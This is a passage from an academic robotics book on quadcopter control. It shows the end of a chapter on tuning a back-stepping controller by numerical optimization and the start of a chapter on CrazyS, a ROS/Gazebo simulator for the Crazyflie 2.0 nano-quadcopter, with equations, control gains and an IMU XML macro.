Lines 2–4 launch the IMU node that will talk to a particular Bluetooth MACaddress. Lines 5–16 will start the attitude controller and configure its parameters.For this node, besides the mass, the user can configure the vehicle’s three momentsof inertia about the body axes. Finally, lines 17–19 start the mixer node in superusermode since it requires talking to an I2C device.

With respect to the optimization procedure, the user may customize the parametersof the quadcopter in the MATLAB files. These parameters are located within thefunQR1.m file. The statistical properties of the random number generators and theparameters of the filters can be found on the RandNumGen.m file.

6.4 Experimental Results

To validate the controller performance, we track a step function in the position set-points. The ground station side is running on a laptop with an Intel Core i7-4710HQprocessor and 8 GB of RAM. An external MoCap system Vicon Vantage [38] isused as the position sensor; the MoCap system frequency was configured to 100 Hz,and the frequency of the position node to 20 Hz. The onboard side is running on anOdroid XU4 (Ubuntu 16.04 without preemption and ROS Kinetic Kame) mounted

[email protected]


Fig. 8 Communication/computation structure for flight tests

Fig. 9 Experimental performance of the tuned back-stepping controller: position (left) and Eulerangles (right). The set-points were set to (xref , yref , zref ,ψref ) = (0, 0, 0.4, 0)

over an F450 frame. An LPMS-B2 IMU is used as the orientation sensor running at200 Hz. The Odroid is connected to a 4-channel bidirectional logic level converter (tostep-up the 1.8V Odroid bus reference to 5V), then to an 8-channel PWM controller(to allow the control of the four motors through only two cables), and finally to theSimonK ESCs. To supply the power, we tethered the quadcopter with two cables: thecable of the Odroid AC adapter and the cable of a DC power supply for the motors.Figure 8 we provide a representation of the communication structure. Figure 9 showsthe controller performance. Multimedia material of our work is available at https://youtu.be/0TJL2RcKGfI.

[email protected]


Fig. 10 Simulation results of the optimized back-stepping controller with similar initial conditionsand same set-points as in Fig. 9: position (left) and Euler angles (right)

We first tested the optimization results in a test stand. Then, we fine-tuned thecontrol parameters. Though the mathematical model used in the optimization pro-cedure is nonlinear, it still a simplified description of the real system. Nevertheless,the optimization results do accelerate the fine-tuning process. In the tests, we notedthat applying the same gains as the simulation caused the real platform to oscillaterapidly. This behavior is expected since the mathematical model does not take intoaccount the actuator dynamics. By knowing this detail, we found that by loweringonly the angular-velocity-related parameters a satisfactory control can be achieved.For comparison purposes, we plotted in Fig. 10 the simulation results of the optimizedcontroller with similar initial conditions and identical set-points of the experiment.The experimental results follow the tendency of the simulation results with majordifferences in the behavior of the z-position and the yaw angle. These discrepanciescan be further explained by the presence of power cables (as seen in the video) andactuator saturation.

7 Conclusion

In this chapter, we described a procedure for the optimization of controllers usingstochastic test signals. We used a conjugate gradient-based algorithm in order tonumerically estimate gradients of a cost function in the controller parameter space anditeratively choose a set of parameters to minimize the cost function. Additionally, theintroduction of stochastic test signals allowed enhancing of the optimization results.A controller derived with the back-stepping technique is used as a case study. TheROS package that includes the back-stepping controller was presented. Finally, theoptimized controller was evaluated in simulations and experimentally on a custom-

[email protected]


made quadcopter platform. The presented optimization procedure is available asMATLAB files and the controller as open source ROS package.

References

1. Hardkernel Co. Ltd. ODROID-XU4. https://www.hardkernel.com/shop/odroid-xu4/2. Shen, W.: Conjugate gradient method. Lecture notes (2008). http://www.personal.psu.edu/

wxs27/524/CG_lecture.pdf3. Shewchuk, J.R.: An introduction to the conjugate gradient method without the agoniz-

ing pain. Lecture notes (1994). https://www.cs.cmu.edu/~quake-papers/painless-conjugate-gradient.pdf

4. Frandsen, P.E., Jonasson, K., Nielsen, H.B., Tingleff, O.: Unconstrained optimizations.Lecture Notes (2004). http://www2.imm.dtu.dk/pubdb/views/edoc_download.php/3217/pdf/imm3217.pdf

5. Nelles, O.: Nonlinear System Identification. Springer, Berlin, Heidelberg (2001)6. Nocedal, J., Wright, S.J.: Numerical Optimization. Springer, New York (1999)7. Zulu, A., John, S.: A review of control algorithms for autonomous quadrotors. Open J. Appl.

Sci. (2014)8. Amin, R., Aijun, L., Shamshirband, S.: A review of quadrotor UAV: control methodologies

and performance evaluation. Int. J. Autom. Control (2016)9. Bouabdallah, S., Noth, A., Siegwart, R.: PID vs LQ control techniques applied to an indoor

micro quadrotor (2004)10. Szafranski, G., Czyba, R.: Different approaches of PID control UAV type quadrotor. In: Inter-

national Micro Air Vehicles Conference (2014)11. Kim, J., Wilkerson, S.A., Gadsden, S.A.: Comparison of gradient methods for gain tunning of

a pd controller applied on a quadrotor system. In: Proceedings of SPIE Vol. 9837 (2016)12. Mohammed, M.J., Rashid, M.T., Ali, A.A.: Design optimal PID controller for quad rotor

system. Int. J. Comput. Appl. (2014)13. Bencharef, S., Boubertakh, H.: Optimal tuning of a PD control by bat algorithm to stabilize a

quadrotor. In: International Conference on Modelling, Identification and Control (2016)14. Berkenkamp, F., Schoelling, A.P., Krause, A.: Safe controller optimization for quadrotors with

Gaussian process. In: IEEE International Conference on Robotics and Automation (2016)15. Naidu, D.S.: Optimal Control Systems. CRC Press (2002)16. Argentim, L.M., Rezende, W.C., Santos, P.E., Aguilar. R.A.: PID, LQR and LQR-PID on

a quadcopter platform. In: International Conference on Informatics, Electronics and Vision(2013)

17. Nuchkrua, T., Parnichkun, M.: Identification and optimal control of quadrotor. Thammasat Int.J. Sci. Technol. (2012)

18. Arce, A., Seuret, A., Mannisi, A., Ariba, Y.: Optimal control strategies for load carrying drones.In: European Control Conference (2014)

19. Faessler, M., Falanga, D., Scaramuzza, D.: Thrust mixing, saturation, and body-rate controlfor accurate aggressive quadrotor flight. IEEE Robot. Autom. Lett. (2017)

20. Safaei, A., Mahyuddin, M.N.: Lyapunov-based nonlinear controller for quadrotor positionand attitude tracking with GA optimization. In: IEEE Industrial Electronics and ApplicationsConference (2016)

21. Bolandi, H., Rezaei, M., Mohsenipour, R., Nemati, H., Smailzadeh, S.M.: Attitude control ofa quadrotor with optimized PID controller. Intell. Control Autom. (2013)

22. Cook, M.V.: Flight Dynamics Principles, Chapter System of Axes and Notation. Elsevier Ltd.,2nd edition (2007)

23. Bouabdallah, S., Siegwart, R.: Full control of a Quadrotor (2007)

[email protected]


24. Bresciani, T.: Modelling, identification and control of a quadrotor helicopter. Mscthesis, Lund University (2008). http://lup.lub.lu.se/luur/download?func=downloadFile&recordOId=8847641&fileOId=8859343

25. Partovi, A.R.: Development of a cross style quadrotor. Meng thesis, National University ofSingapore (2012). https://core.ac.uk/download/pdf/48657308.pdf

26. Diebel, J.: Representing attitude: Euler angles, unit quaternions, and rotation vectors (2006).https://www.astro.rug.nl/software/kapteyn/_downloads/attitude.pdf

27. Kokotovich, P.V.: The joy of feedback: nonlinear and adaptive. IEEE Control Syst. (1992)28. Colmenares-Vazquez, J., Marchand, N., Gomez-Balderas, J.E.: Position control of a quadrotor

under external constant disturbance. In: Workshop on Research, Education and Developmentof Unmanned Aerial Systems (2015)

29. Li, Q.: Grey-box system identification of a quadrotor unmanned aerial vehicle. M.sc. thesis,Delft University of Technology (2014). https://repository.tudelft.nl/islandora/object/uuid

30. Alsharif, M.A., Hoelzel, M.S.: Estimation of a drone’s rotational dynamics with piloted androidflight data. In: Conference on Decision and Control (2016)

31. Kirk, D.E.: Optimal Control Theory: An Introduction. Dover Publications (2004)32. Hasdorff, L.: Gradient Optimization and Nonlinear Control. John Wiley and Sons (1975)33. Matus-Vargas, A., Rodriguez-Gomez, G., Martinez-Carranza, J.: Numerical optimization tech-

niques for nonlinear quadrotor control. In: International Conference on Unmanned Aerial Sys-tems (2017)

34. LRSE. ros-keyboard. https://github.com/lrse/ros-keyboard35. LP-Research. LpSensor library. https://bitbucket.org/lpresearch/openmat/downloads/

LpSensor-1.3.5-Linux-x86-64.tar.gz36. Markus Achtelik. vicon_bridge. https://github.com/ethz-asl/vicon_bridge37. ROS wiki. Running ROS across multiple machines. http://wiki.ros.org/ROS/Tutorials/

MultipleMachines38. Vicon Motions Systems. Vicon Vantage. https://www.vicon.com/products/camera-systems/

vantage

Antonio Matus-Vargas is a Computer Science Ph.D. student at the Instituto Nacional deAstrofísica, Óptica y Electrónica (INAOE). He received the M.Sc. degree in Intelligent Systemsand the B.Sc. degree in Mechatronics Engineering from the Tec de Monterrey.

Gustavo Rodriguez-Gomez is a Researcher at Instituto Nacional de Astrofísica, Óptica y Elec-trónica (INAOE). He has an Undergraduate Degree in Mathematics from Universidad NacionalAutónoma de México and a Ph.D. in Computer Science from INAOE. His current research inter-ests include mathematical modeling, scientific computing, control algorithms and the numericalsolution of partial and ordinary differential equations.

Jose Martinez-Carranza is Associate Professor at the Computer Science Department in the Insti-tuto Nacional de Astrofísica, Óptica y Eletrónica (INAOE) and Honorary Senior Research Fellowat the Computer Science Department in the University of Bristol. He received the highly presti-gious Newton Advanced Fellowship (2015–2018). He also leads a Mexican team winner of the 1stPlace in the IROS 2017 Autonomous Drone Racing competition and 2nd Place in the InternationalMicro Air Vehicle competition (IMAV) 2016.

[email protected]

CrazyS: A Software-in-the-Loop

Simulation Platform for the Crazyflie 2.0

Nano-Quadcopter

Giuseppe Silano and Luigi Iannelli

Abstract This chapter proposes a typical use case dealing with the physical simu-lation of autonomous robots (specifically, quadrotors) and their interfacing throughROS (Robot Operating System). In particular, we propose CrazyS, an extension of theROS package RotorS, aimed to modeling, developing and integrating the Crazyflie2.0 nano-quadcopter in the physics based simulation environment Gazebo. Suchsimulation platform allows to understand quickly the behavior of the flight controlsystem by comparing and evaluating different indoor and outdoor scenarios, with adetails level quite close to reality. The proposed extension, running on Kinetic KameROS version but fully compatible with the Indigo Igloo one, expands the RotorScapabilities by considering the Crazyflie 2.0 physical model, its flight control systemand the Crazyflie’s on-board IMU, as well. A simple case study has been consideredin order to show how the package works and how the dynamical model interactswith the control architecture of the quadcopter. The contribution can be also con-sidered as a reference guide for expanding the RotorS functionalities in the UAVsfield, by facilitating the integration of new aircrafts. We rel5,eased the software asopen-source code, thus making it available for scientific and educational activities.

Keywords Software-in-the-loop simulation · Virtual reality · UAV · Crazyflie2.0 · ROS · Gazebo · RotorS · Robotics System Toolbox · Continuous integration

1 Introduction

Unmanned Aerial Vehicles (UAVs), although originally designed and developed fordefense and military purposes (e.g., aerial attacks or military air covering), dur-ing recent years gained an increasing interest and attention related to the civilian

G. Silano (B) · L. IannelliDepartment of Engineering, University of Sannio in Benevento, Piazza Roma, 21,82100 Benevento, Italye-mail: [email protected]

L. Iannellie-mail: [email protected]


81

[email protected]

82 G. Silano and L. Iannelli

use. Nowadays, UAVs are employed for several tasks and services like surveyingand mapping [1], for rescue operations in disasters [2, 3], for spatial informationacquisition, buildings inspection [4, 5], data collection from inaccessible areas, geo-physics exploration [6, 7], traffic monitoring [8], animal protection [9], agriculturalcrops and monitoring [10], manipulation and transportation or navigation purposes[11, 12].

Many existing algorithms for the autonomous control [13, 14] and navigation[15, 16] are provided in the literature, but it is particularly difficult to make theUAVs able to work autonomously in constrained and unknown environments oralso indoor. Thus, it follows the need for tools that allow to understand what ithappens when some new applications are going to be developed in unknown or criticalsituations. Simulation is one of such helpful tools, widely used in robotics [17–19],and whose main benefits are costs and time savings, enabling not only to createvarious scenarios, but also to study and to carry out complex missions that might betime consuming and risky in the real world. Finally, bugs and mistakes in simulationcost nothing: it is possible to crash a vehicle virtually several times and thereby gettinga better understanding of implemented methods under various conditions. To thisaim, simulation environments are very important for fast prototyping and educationalpurposes. Indeed, they are able to manage the complexity and heterogeneity of thehardware and the applications, to promote the integration of new technologies, tosimplify the software design, to hide the complexity of low-level communication [20].

Different solutions, typically based on external robotic simulators such as Gazebo[21], V-REP [22], Webots [23], AirSim [24], MORSE [25], are available to thispurpose. They employ recent advances in computation and graphics (e.g., the AirSimphotorealistic environment [15]) in order to simulate physical phenomena (gravity,magnetism, atmospheric conditions) and perception (e.g., providing sensor models)in such a way that the environment realistically reflects the actual world. Definitely, itcomes out that complete software platforms able to test control algorithms for UAVsin a simulated 3D environment are becoming more and more important.

In this tutorial chapter, the Micro Aerial Vehicles (MAVs) simulation frameworkRotorS1 [28] has been employed as a base for proposing CrazyS, a software packagefor modeling, developing and integrating the dynamics and the control architectureof the nano-quadcopter Crazyflie 2.0 [26] (Fig. 1) in the Gazebo simulator.

Our work may be considered the answer to impelling needs of many researchersworking on Crazyflie that ask for a simulator specific for such nano-quadrotor plat-form, as clearly stated in [29, Sect. 9.5]. At the same time, the chapter can be seenas a reference guide for expanding functionalities of RotorS and facilitating the inte-gration of new vehicles equipped with both on-board sensors and control systems. Inaddition, the contribution aims to highlight how the development of control strate-gies may be facilitated allowing performance evaluation in a scenario quite closeto reality, thanks to software-in-the-loop (SITL) simulation methodologies (see [30]for a general overview and [31, 32] for mechatronics and UAV applications).

1Together with Hector Quadrotor [27], RotorS is among the most used platforms for simulating amulti-rotor in Gazebo through ROS middleware.

[email protected]

CrazyS: A Software-in-the-Loop Simulation Platform for the Crazyflie … 83

Fig. 1 The Crazyflie 2.0nano-quadcopter. Retrievedfrom [26]. Copyright 2018by Bitcraze AB

The chosen aircraft, the Crazyflie 2.0, is available on the market at a price ofless than $200 and it is ideal for many research areas (e.g., large swarm [33], teth-ered flight [34], path planning [35], mixed reality [36], education [37], disturbancesrejection [38], etc.). The source code and the hardware are open, making it possibleto go through any part of the system for complete control and full flexibility. Newhardware and sensors can be linked through the versatile expansion ports, enablingthe addition of the latest sensors. The small size and light weight reduce the need forsafety equipment and increase the productivity. For all such reasons, it appears valu-able to have a detailed flexible simulator of the Crazyflie dynamic behavior, with thepossibility of validating in an easy way the effects of modifying the control architec-ture for achieving complex missions. We published the software as open-source [39]and at the same time we opened a pull request [40] on RotorS repository with theaim to share our result with other researchers who already use such tools and wouldlike to use the platform. However this chapter may help also those researchers, ascontrol engineers, that are familiar with UAV applications and software-in-the-loopsimulation concepts but have no experience with Gazebo and ROS.

The chapter is organized as follows. First, we briefly describe the quadcopterdynamical model and its flight control system, i.e., the architecture of the Crazyflie’slow level control system. Then we model the on-board sensors, i.e., the Inertial Mea-surement Unit (IMU MPU–9250 [41]) in order to develop a simulation platform asclose as possible to the real system. The entire procedure followed to bring datasheetvalues to the simulation environment will be explained in detail by describing themathematical models and the related specifications. A further part will deal withthe complementary filter, i.e., the default Crazyflie state estimator, that has beenimplemented in CrazyS according to the 2018.01.1 firmware release of the aircraft.After that we demonstrate how to download and to use the CrazyS ROS packageby providing step by step instructions on how to proceed, by taking into account allsoftware pre-requisites and dependencies (see Sect. 3.1).

At this point we give a complete overview of the simulation environment. Startingfrom a RotorS example, it is here described how CrazyS is structured for taking, ascommand signals, the yaw rate ψc, the pitch angle θc, the roll angle φc and the thrust(actually, it denotes the desired rotors speed Ωc). Such commands correspond to theinputs (references) of the on-board low level control in the Crazyflie 2.0 architecture(see Sect. 3.2).

[email protected]


We show how to use the MathWorks® Robotics System Toolbox (RST) to build-upa simulation platform in which control strategies are implemented through Simulinkschemes, i.e., the usual tools that control engineers are familiar with. The RST allowsto run Simulink schemes and to interface them to Gazebo that is in charge of sim-ulating the detailed aircraft physical model (Sect. 3.4.1). Then, control strategieswill be implemented in C++ code thus achieving a complete software-in-the-loopsimulation platform based on ROS and Gazebo (see Sect. 3.4.2). Finally, it will bedescribed how to configure a Continuous Integration (CI) infrastructure, by propos-ing a solution to link the open-source platform TravisCI with the CrazyS repository.Advantages related to the use of CI system when developing ROS packages aredescribed in Sect. 3.5. Conclusions close the chapter.

2 Crazyflie 2.0 Nano-Quadcopter

In this section, we describe the quadcopter physical model and how the simulatorworks. Moreover the flight control system architecture is presented together withthe on-board sensors model. Contents of this section are inspired by our previouswork [42] but are here reviewed and explored in detail.

2.1 Dynamical Model

The design of a suitable position controller for the quadcopter exploits an accu-rate dynamical model. As the usual approach in the literature, we introduce twoorthonormal frames: the fixed-frame OFI (where FI stands for Fixed Inertial), alsocalled inertial (or reference) frame, and the body-frame OABC (where ABC standsfor Aircraft Body Center) that is fixed in the aircraft center of gravity and orientedalong the aircraft main directions (so defining its attitude), see Fig. 2.

According to [43], the forces (Eqs. (1) and (2)) and the momentum (Eqs. (3)and (4)) equations can be derived. Such model consists of twelve differential equa-tions for the system dynamics and four algebraic equations describing the relationsbetween inputs (forces and momenta) to the system and rotor velocities (Eqs. (5)and (6)).

⎡

⎣

xd

yd

zd

⎤

⎦ = RT (φd , θd , ψd)

⎡

⎣

ud

vd

wd

⎤

⎦ , (1)

⎡

⎣

ud

vd

wd

⎤

⎦ =

⎡

⎣

00

Fz/m

⎤

⎦ − R(φd , θd , ψd)

⎡

⎣

00g

⎤

⎦ −

⎡

⎣

pd

qd

rd

⎤

⎦ ×

⎡

⎣

ud

vd

wd

⎤

⎦ , (2)

[email protected]


Fig. 2 Crazyflie in thebody-frame (OABC) and thefixed-frame (OFI) referencesystem. Forces, spindirections and the propellersangular velocity ωi of eachrotor are depicted

ψ

φ

θ

ez

ex

ey

OABC

ω1

ω 2

ω 3

ω4

Z

X

Y

OFI

⎡

⎣

pd

qd

rd

⎤

⎦ = J−1

⎛

⎝

⎡

⎣

Mx

My

Mz

⎤

⎦ −

⎡

⎣

pd

qd

rd

⎤

⎦ × J

⎡

⎣

pd

qd

rd

⎤

⎦

⎞

⎠ , (3)

⎡

⎣

φd

θd

ψd

⎤

⎦ =

⎡

⎣

1 sφdtθd

cφdtθd

0 cφd−sφd

0 sφd/cθd

cφd/cθd

⎤

⎦

⎡

⎣

pd

qd

rd

⎤

⎦ , θd =π

2. (4)

The body-frame orientation is described through the Euler angles φd , θd and ψd ,defined according to the ZY X convention [44] and it can be computed by consideringthat the rotation matrix R(φd , θd , ψd) allows to convert a vector expressed in thefixed-frame to a vector expressed in the OABC body-frame. Thus, Eq. (1) relates thelinear velocities of the aircraft in the OABC frame, i.e.,

(

ud vd wd

)⊤, to the linear

velocities of the aircraft in the fixed frame, denoted by(

xd yd zd

)⊤, through the

inverse matrix R(φd , θd , ψd)−1 = R(φd , θd , ψd)

⊤ . Whereas, by considering the timederivative of R(φd , θd , ψd), the angular velocities of the aircraft in the OFI frame arerelated to the corresponding velocities expressed in the body frame through Eq. (4),where c•, s• and t• denote cos(•), sin(•) and tan(•) functions, respectively.

Conversely, the remaining six equations (Eqs. (2) and (3)) describe the UAV linearand angular accelerations in the OABC frame. The diagonal matrix J has the inertiaof the body about the x , y and z-axis, respectively, while m is the total mass of thequadcopter and g the gravitational constant.

[email protected]


Table 1 Crazyflie 2.0 parameter values according to the MAV model employed in RotorS

Entries Sym. Value Unit

Motor_constant CT 1.28192 · 10−8 kg m rad−2

Moment_constant CM 5.964552 · 10−3 kg m2 rad−2

Rotor_drag_coefficient CD 8.06428 · 10−5 kg rad−1

Rolling_moment_coefficient CR 1 · 10−6 kg m rad−1

The system inputs are reported in Eqs. (5) and (6), where ω1, ω2, ω3 and ω4

represent the rotors angular velocities expressed in rad s−1:

Fz = CT

(

ω21 + ω2

2 + ω23 + ω2

4

)

, (5)

M =

⎡

⎣

Mx

My

Mz

⎤

⎦ =1

√2

⎡

⎣

CT d(

−ω21 − ω2

2 + ω23 + ω2

4

)

CT d(

−ω21 + ω2

2 + ω23 − ω2

4

)

√2 CM

(

−ω21 + ω2

2 − ω23 + ω2

4

)

⎤

⎦ . (6)

Finally, d is the distance of the propellers from the center of gravity while CT andCM are the rotor thrust and rotor moment constants, respectively [28]. By increasingor decreasing uniformly the propellers speed it causes an altitude change, while byvarying the speed ω1 and ω4 (or the pair ω2 and ω3 with the opposite effect) it causesthe aircraft to tilt about the y-axis, i.e., the pitch angle θd . Similarly, by varying thespeeds ω1 and ω2 (or the pair ω3 and ω4) it causes the aircraft to tilt about the x-axis,i.e., the roll angle φd . Finally, the vector sum of the reaction moment produced by thespeed of the pair ω1 and ω3 and the reaction moment produced by the speed of ω2 andω4 will cause the quadcopter to spin about its z-axis, i.e., modifying the yaw angleψd . Further details are given in [43, 45] while the parameter values of the Crazyfliehave been taken from the repository [46] by the same research group of [29].

According to the MAV model employed in RotorS [28], Table 1 summarizesthe drone parameter values reported in the crazyflie2.xacro file and used todescribe the aircraft dynamics with the corresponding entries.

2.2 Flight Control System

In order to illustrate how to apply SITL testing methodologies to UAV design, weconsider a common architecture of a flight control system for controlling the positionof a quadrotor, so as illustrated in [43]. We have a “reference generator” that takesthe position to reach (xr , yr and zr ) and the desired yaw angle ψr and generatesthe command signals (θc, φc, Ωc and ψc) that are inputs for the on-board controlarchitecture of the Crazyflie. Figure 3 describes the overall system while Figs. 4 and 5describe the reference generator and the on-board control architecture, respectively.

[email protected]


Reference

Generator

On-board

Control

&

Motors

Dynamics

Crazyflie

2.0

Physical

Model

θc, c

Ωc, ψc

ω1, ω2ω3, ω4

rk

xr, yr, zr, ψr

xd , yd , zd , ψk

pk qkud vd

Fig. 3 The control scheme. Subscript c refers to commands, r to references, d indicates the actualdrone variables and k indicates the sensors and data fusion outputs when the Crazyflie’s stateestimator is in the loop (when it is not, they are replaced by the values coming from the odometry)

In the event that the desired position is not available (it should be published on theROS topic command/trajectory), the drone maintains its previous pose until the nextwaypoint.

2.2.1 Reference Generator

The reference generator uses drone measurements, in particular the drone position(xd , yd and zd ) and its body-frame velocity (ud , vd ), and the estimated orientationalong z-axis (i.e., the yaw ψk) to compute the command signals (θc, φc, Ωc andψc). In real indoor applications the drone position and velocity come from a motioncapture system (MoCap), such as Vicon [47], Optitrack [48] or Qualisys [49]. Here,for simplicity we modeled such data coming from an ideal (no bias and no noise)virtual odometry sensor in the simulation environment. However the platform allowsto model also typical measurement data coming from such systems, without muchdifficulty.

As described by the overall scheme in Fig. 4, the reference generator computesthe desired attitude (θc and φc), the yaw rate (ψc) and thrust (Ωc) commands for theCrazyflie, later used as references for the on-board control system. Such commandsignals are limited as summarized in Table 2.

The thrust is expressed directly as a pulse with modulation (PWM) signal (a 16bit unsigned integer), and obtained by the sum of two terms: the feedforward termωe = 6874 corresponding to the hovering condition (perfect horizontal attitude andpropellers velocities that counteracts the gravity force) and the feedback term ∆ωe.The reference signals xe and ye (see Fig. 4) are computed as:

xe = (xr − xd) cos(ψk) + (yr − yd) sin(ψk) (7a)

ye = (yr − yd) cos(ψk) − (xr − xd) sin(ψk). (7b)

Such signals are employed as setpoints for the velocities body-frame ud and vd ,respectively. As explained in [43], the logic behind such choice consists in the factthat bigger is the error faster the quadcopter should move in order to arrive at the

[email protected]


PIθc

ud

evxxe

+

−

PIc

vd

evyye

+

−

Pψc

ψk

eψψr

+

−

PIDΩc

zd

ezzr

+

−

+

+

ωe

O

N

|B

O

A

R

D

C

O

N

T

R

O

L

θc

c

ψc

∆ωe Ωc

∆ mc

∆θmc

∆ψmc

Ωmc

Fig. 4 The reference generator scheme. The obtained heuristic PID gains are: K Pψc= 0.0914,

K PΩc= 70, K IΩc

= 3.15, K DΩc= 373, K Pθc

= 3.59, K Iθc= 5.73, K Pφc

= −3.59 and K Iφc=

−5.73

Table 2 Physical constraints of the Crazyflie 2.0 nano-quadcopter

Sym. Unit Output limit

Roll command φc rad [−π/6, π/6]Pitch command θc rad [−π/6, π/6]Yaw rate command ψc rad s−1 [−1.11π, 1.11π ]Thrust command Ωc UINT16 [5156, 8163]

desired point. Instead, when the error is small, the drone is close to the desired pointand the setpoint for the velocity should be also small.

2.2.2 On-Board Control System

The on-board control is decomposed into two parts: the attitude and the rate controller,both illustrated in Fig. 5. They work together in a cascaded control structure. Ascommonly implemented in such structures, the inner loop needs to regulate at a ratefaster than the outer. In this case, the attitude controller runs at 250 Hz while the ratecontroller runs at 500 Hz.

[email protected]


Attitude

PID

250Hz

Rate PID

Controller

500Hz

Actuators

(motors)

Gyroscope

Accelerometer

Sensor Fusion

θc, c pc

qc

500Hz250Hz

ψc Ωc

θk kpk qkrk

+

−

+

−

+

Crazyflie

Fig. 5 On-board control architecture of the Crazyflie 2.0, release 2018.01.1. The obtained heuris-tic gains are: K Ppc

= 0.0611, K Ipc= 0.0349, K Pqc

= 0.0611, K Iqc= 0.0349, K P∆φmc

= 1000,K P∆θmc

= 1000, K P∆ψmc= 1000 and K I∆ψmc

= 95.683

We considered the on-board control architecture existing in the firmware release,2

the 2018.01.1. The same software architecture has been followed also to integrate thecomplementary filter (see Sect. 2.3.1), the default Crazyflie state estimator. Startingfrom the accelerometer and gyroscope data, the filter allows to estimate the attitude(φk , θk and ψk) and the angular velocities (pk , qk and rk) used by the on-board controlloop also managing the sensors’ bias and noise terms. All controller parameter valuesare provided in the file controller_crazyflie2.yaml and they can be easilymodified as explained in Sect. 3.4.2.

Finally, we modeled the actuators dynamics (see Fig. 5) by considering the rela-tionship between the PWM signals sent to the motors and the actual propellers speed,so as explained in [50],

ωi =π

30

(

α · PW Mi + q)

, (8)

where α = 0.2685 and q = 4070.3. The PWM signals are computed according tothe rate controller outputs ∆φmc, ∆θmc and ∆ψmc, i.e., the total variations from theequilibrium, and the thrust command Ωmc (that, in particular, corresponds to Ωc):

⎧

⎪

⎪

⎨

⎪

⎪

⎩

PW M1 = Ωmc − ∆θmc/2 − ∆φmc/2 − ∆ψmc

PW M2 = Ωmc + ∆θmc/2 − ∆φmc/2 + ∆ψmc

PW M3 = Ωmc + ∆θmc/2 + ∆φmc/2 − ∆ψmc

PW M4 = Ωmc − ∆θmc/2 + ∆φmc/2 + ∆ψmc.

(9)

2Of course that has been possible thanks to the fact that Crazyflie firmware is open-source.

[email protected]


Usually, a DC motor can be characterized as a first order transfer function, butin our application a well approximated behavior assumes that the transient is fastenough and that it will not cause much delay in the system.

2.3 State Estimation

One of the key elements enabling stable and robust UAV flights is an accurate knowl-edge of the state of the aircraft. In CrazyS, as well as in RotorS, such informationcan be directly provided by an (ideal) odometry sensor. This means that position,orientation, linear and angular velocities of the Crazyflie come from Gazebo plugins.3

As mentioned before, the odometry sensor has been used only to know the posi-tion and the linear velocity of the vehicle. Conversely, the drone orientation andangular velocity have been obtained by using the default Crazyflie state estimator:the complementary filter. Nevertheless, with the aim of highlighting the flexibilityof the simulation platform (it is quite easy to move from a simulation scenario toanother), we compared the outputs of the complementary filter with the ideal case(see Sect. 3.4.2) where position, orientation, angular and linear velocities come fromthe odometry sensor (without noise and bias). Therefore, in this section we will givean overview of how the filter works (further details can be found in [51]) and howto model and integrate the IMU measurements in Gazebo starting from the sensordatasheet values.

2.3.1 Complementary Filter

The Kalman filter is a well known and established solution for combining sensorsdata into navigation-ready data, although its nonlinear version is difficult to applywith low-cost and high-noise sensors [52]. Moreover also Extended Kalman filter(EKF) techniques might give unsatisfactory results [53] and accurate calibration forgyroscope offsets, noise and other constants, might be needed to properly implementKalman filtering. On the other hand, complementary filters, that are not model basedtechniques, are not well-suited for high-risk applications like space or unmannedmissions. However, compared to Kalman filtering, the complementary filter is lesscomputationally intensive, requires less calibration and more readily performs onsmall, low-power processing hardware. In practice that technique is ideal for small,low-cost aircrafts as the Crazyflie 2.0. Thus, a complementary filter has been imple-mented in CrazyS. Nevertheless, a Kalman filter solution can be investigated andimplemented in order to evaluate the trade off between precision and computational

3Such data can be easily processed by adding noise and bias terms when required, as explainedin [28].

[email protected]


burden. The modular structure of CrazyS allows to replace the complementary filterwith another estimator (e.g., Luenberger observer, EKF, particle filter, etc.), in easyway.

The key idea behind the complementary filter is to use the information comingfrom the gyroscope (that is precise and not susceptible to external forces), and datafrom the accelerometers (they have no drift). In particular, the on-board comple-mentary filter of the Crazyflie follows the implementation of Madgwick’s IMU andAHRS (Attitude and Heading Reference Systems) algorithms [51].

Among its advantages, the filter allows a significant reduction in the computationalload, guarantees good performances and eliminates the need for a predefinition ofthe magnetic field direction.

2.3.2 IMU Sensor Model

As explained in [54], we modeled the on-board Crazyflie’s IMU (MPU−9250, [41])by integrating it in the component_snippets.xacro. The Xacro file [55], thatis a particular eXtensibile Markup Language (XML) file used to generate a morereadable and often shorter XML code, contains all the macros employed to modelthe sensors behavior in the Gazebo simulator. The XML tag structure allows to setproperties that are related to the physical features of the IMU, like the measurementdelay, the divisor (it allows to set up the sensor frequency response, see [56]), themass or other physical parameters. The macros in such file can be used by anyaircraft in the simulation environment, each one described by using an own xacrofile (crazyflie2_base.xacro, in our case). Such file contains the full list of theon-board integrated components (IMU, barometer, camera, odometry sensor, etc.).More details on how they are related to the launch files4 are reported in Sect. 3.3.1.

<xacro:macro name="crazyflie2_imu" params="namespace parent_link">

<xacro:imu_plugin_macro

namespace="$namespace"imu_suffix=""parent_link="$parent_link"

imu_topic="imu"

measurement_delay="0"

measurement_divisor="1"mass_imu_sensor="0.00001"gyroscope_noise_density="0.000175"gyroscope_random_walk="0.0105"

gyroscope_bias_correlation_time="1000.0"gyroscope_turn_on_bias_sigma= "0.09"

accelerometer_noise_density="0.003"

accelerometer_random_walk="0.18"

accelerometer_bias_correlation_time="300.0"

4Launch files are very common in ROS to both users and developers. They provide a convenientway to start up multiple nodes and a master, as well as other initialization requirements such assetting parameters.

[email protected]


accelerometer_turn_on_bias_sigma="0.588">

<inertia ixx="0.00001" ixy="0.0" ixz="0.0" iyy="0.00001" iyz="0.0"

izz="0.00001" />

<origin xyz="0 0 0" rpy="0 0 0" />

</xacro:imu_plugin_macro></xacro:macro>

Listing 4.1 Crazyflie IMU tag structure

In RotorS (and, thus, in CrazyS), measurements are modeled by two types of sen-sor errors affecting both the angular rate measurement ω and the linear accelerationa, expressed as

ω(t) = ω(t) + bω(t) + nω(t) (10a)

a(t) = a(t) + ba(t) + na(t), (10b)

where n•(t) is an additive noise term that fluctuates very rapidly (the white noise)and b•(t) is a slowly varying sensor bias. All gyroscope and accelerometer axis mea-surements are modeled, independently. Table 3 summarizes all the model parametersthat are reported as entries in the Xacro file (see Listing 4.1).

